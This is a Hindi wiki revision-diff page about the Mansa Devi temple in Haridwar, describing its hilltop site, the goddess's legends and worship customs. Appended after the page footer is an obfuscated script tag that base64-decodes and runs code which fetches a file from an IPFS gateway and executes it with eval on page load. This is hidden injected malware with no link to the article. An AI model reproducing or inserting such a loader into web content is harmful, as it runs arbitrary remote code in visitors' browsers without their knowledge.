"मनसा देवी मंदिर" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
अश्वनी भाटिया (चर्चा | योगदान) |
कविता बघेल (चर्चा | योगदान) |
||
(4 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | + | {{सूचना बक्सा मन्दिर | |
− | + | |चित्र=Mansa-Devi-Temple-Haridwar.jpg | |
+ | |चित्र का नाम=मनसा देवी मंदिर, हरिद्वार | ||
+ | |वर्णन='मनसा देवी' का जन्म संत [[कश्यप]] के मस्तिष्क से हुआ है। उन्हें नाग राजा वासुकी की पत्नी भी माना जाता है। [[हरिद्वार]] के चंडी देवी और माया देवी के साथ मनसा देवी को भी सिद्ध पीठों में प्रमुख माना जाता है। | ||
+ | |स्थान=[[हरिद्वार]], [[उत्तराखंड]] | ||
+ | |निर्माता= | ||
+ | |जीर्णोद्धारक= | ||
+ | |निर्माण काल= | ||
+ | |देवी-देवता=मनसा देवी | ||
+ | |वास्तुकला= | ||
+ | |भौगोलिक स्थिति= | ||
+ | |संबंधित लेख=[[गंगा दशहरा]], [[हरिद्वार]], | ||
+ | |शीर्षक 1=मान्यता | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी=देवी की पूजा [[गंगा दशहरा]] के दिन [[बंगाल]] में भी की जाती है। कहीं-कहीं [[कृष्णपक्ष]] पंचमी को भी देवी पूजी जाती हैं। मान्यता है कि इस दिन घर के आँगन में नागफनी की शाखा पर मनसा देवी की पूजा करने से विष का भय नहीं रह जाता। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | '''मनसा देवी का मंदिर''' [[हरिद्वार]] में हरकी पैड़ी के पास [[गंगा]] किनारे पहाड़ी पर स्थित आस्था का केन्द्र है। ट्राम के होने से यह देवस्थान लुभावना धार्मिक [[पर्यटन]] स्थल बन गया है। | ||
* दुर्गम पहाड़ियों और पवित्र गंगा के किनारे स्थित मनसा देवी का उल्लेख [[पुराण|पुराणों]] में है। 'मनसा' शब्द का प्रचलित अर्थ इच्छा है। कहा जाता है कि माँ मनसा सच्चे मन वाले हर श्रद्धालु की इच्छा को पूरा करती हैं। | * दुर्गम पहाड़ियों और पवित्र गंगा के किनारे स्थित मनसा देवी का उल्लेख [[पुराण|पुराणों]] में है। 'मनसा' शब्द का प्रचलित अर्थ इच्छा है। कहा जाता है कि माँ मनसा सच्चे मन वाले हर श्रद्धालु की इच्छा को पूरा करती हैं। | ||
* मान्यता है कि मनसा देवी का जन्म संत [[कश्यप]] के मस्तिष्क से हुआ है। उन्हें नाग राजा [[वासुकी]] की पत्नी भी माना जाता है। हरिद्वार के चंडी देवी और माया देवी के साथ मनसा देवी को भी सिद्ध पीठों में प्रमुख माना जाता है। मनसा भगवान [[शंकर]] की कठोर तपस्या करके [[वेद|वेदों]] का अध्ययन किया और कृष्ण मंत्र प्राप्त किया, जो कल्पतरु मंत्र कहलाता है। इसके बाद देवी ने कई [[युग|युगों]] तक पुष्कर में तप किया। भगवान [[कृष्ण]] ने दर्शन देकर वरदान दिया कि तीनों लोकों में तुम्हारी पूजा होगी। | * मान्यता है कि मनसा देवी का जन्म संत [[कश्यप]] के मस्तिष्क से हुआ है। उन्हें नाग राजा [[वासुकी]] की पत्नी भी माना जाता है। हरिद्वार के चंडी देवी और माया देवी के साथ मनसा देवी को भी सिद्ध पीठों में प्रमुख माना जाता है। मनसा भगवान [[शंकर]] की कठोर तपस्या करके [[वेद|वेदों]] का अध्ययन किया और कृष्ण मंत्र प्राप्त किया, जो कल्पतरु मंत्र कहलाता है। इसके बाद देवी ने कई [[युग|युगों]] तक पुष्कर में तप किया। भगवान [[कृष्ण]] ने दर्शन देकर वरदान दिया कि तीनों लोकों में तुम्हारी पूजा होगी। | ||
− | *देवी की पूजा [[गंगा दशहरा]] के दिन [[पश्चिम बंगाल|बंगाल]] में भी की जाती है। कहीं-कहीं कृष्णपक्ष पंचमी को भी देवी पूजी जाती हैं। मान्यता है कि इस दिन घर के आँगन में | + | *देवी की पूजा [[गंगा दशहरा]] के दिन [[पश्चिम बंगाल|बंगाल]] में भी की जाती है। कहीं-कहीं कृष्णपक्ष पंचमी को भी देवी पूजी जाती हैं। मान्यता है कि इस दिन घर के आँगन में नागफनी की शाखा पर मनसा देवी की पूजा करने से विष का भय नहीं रह जाता। |
*मनसा देवी की पूजा के बाद ही नागों की पूजा होती है। | *मनसा देवी की पूजा के बाद ही नागों की पूजा होती है। | ||
+ | [[चित्र:Mansadevi-Temple-Haridwar.jpg|thumb|250px|left|मनसा देवी मंदिर, हरिद्वार]] | ||
− | |||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार= | |आधार= | ||
पंक्ति 14: | पंक्ति 33: | ||
|शोध= | |शोध= | ||
}} | }} | ||
− | + | ==वीथिका== | |
+ | <gallery> | ||
+ | चित्र:Mansa-Devi-Temple-3.jpg|[[चंडी देवी मंदिर, हरिद्वार|चंडी देवी]] पहाड़ी से मनसा देवी मंदिर का दृश्य, [[हरिद्वार]] | ||
+ | चित्र:Mansa Devi Temple, Haridwar.jpg|मनसा देवी मंदिर, हरिद्वार | ||
+ | चित्र:Mansa-Devi-Temple-2.jpg|मनसा देवी मंदिर, हरिद्वार | ||
+ | </gallery> | ||
+ | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
10:51, 8 जुलाई 2017 के समय का अवतरण
मनसा देवी मंदिर
| |
वर्णन | 'मनसा देवी' का जन्म संत कश्यप के मस्तिष्क से हुआ है। उन्हें नाग राजा वासुकी की पत्नी भी माना जाता है। हरिद्वार के चंडी देवी और माया देवी के साथ मनसा देवी को भी सिद्ध पीठों में प्रमुख माना जाता है। |
स्थान | हरिद्वार, उत्तराखंड |
देवी-देवता | मनसा देवी |
संबंधित लेख | गंगा दशहरा, हरिद्वार, |
अन्य जानकारी | देवी की पूजा गंगा दशहरा के दिन बंगाल में भी की जाती है। कहीं-कहीं कृष्णपक्ष पंचमी को भी देवी पूजी जाती हैं। मान्यता है कि इस दिन घर के आँगन में नागफनी की शाखा पर मनसा देवी की पूजा करने से विष का भय नहीं रह जाता। |
मनसा देवी का मंदिर हरिद्वार में हरकी पैड़ी के पास गंगा किनारे पहाड़ी पर स्थित आस्था का केन्द्र है। ट्राम के होने से यह देवस्थान लुभावना धार्मिक पर्यटन स्थल बन गया है।
- दुर्गम पहाड़ियों और पवित्र गंगा के किनारे स्थित मनसा देवी का उल्लेख पुराणों में है। 'मनसा' शब्द का प्रचलित अर्थ इच्छा है। कहा जाता है कि माँ मनसा सच्चे मन वाले हर श्रद्धालु की इच्छा को पूरा करती हैं।
- मान्यता है कि मनसा देवी का जन्म संत कश्यप के मस्तिष्क से हुआ है। उन्हें नाग राजा वासुकी की पत्नी भी माना जाता है। हरिद्वार के चंडी देवी और माया देवी के साथ मनसा देवी को भी सिद्ध पीठों में प्रमुख माना जाता है। मनसा भगवान शंकर की कठोर तपस्या करके वेदों का अध्ययन किया और कृष्ण मंत्र प्राप्त किया, जो कल्पतरु मंत्र कहलाता है। इसके बाद देवी ने कई युगों तक पुष्कर में तप किया। भगवान कृष्ण ने दर्शन देकर वरदान दिया कि तीनों लोकों में तुम्हारी पूजा होगी।
- देवी की पूजा गंगा दशहरा के दिन बंगाल में भी की जाती है। कहीं-कहीं कृष्णपक्ष पंचमी को भी देवी पूजी जाती हैं। मान्यता है कि इस दिन घर के आँगन में नागफनी की शाखा पर मनसा देवी की पूजा करने से विष का भय नहीं रह जाता।
- मनसा देवी की पूजा के बाद ही नागों की पूजा होती है।
|
|
|
|
|
वीथिका
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>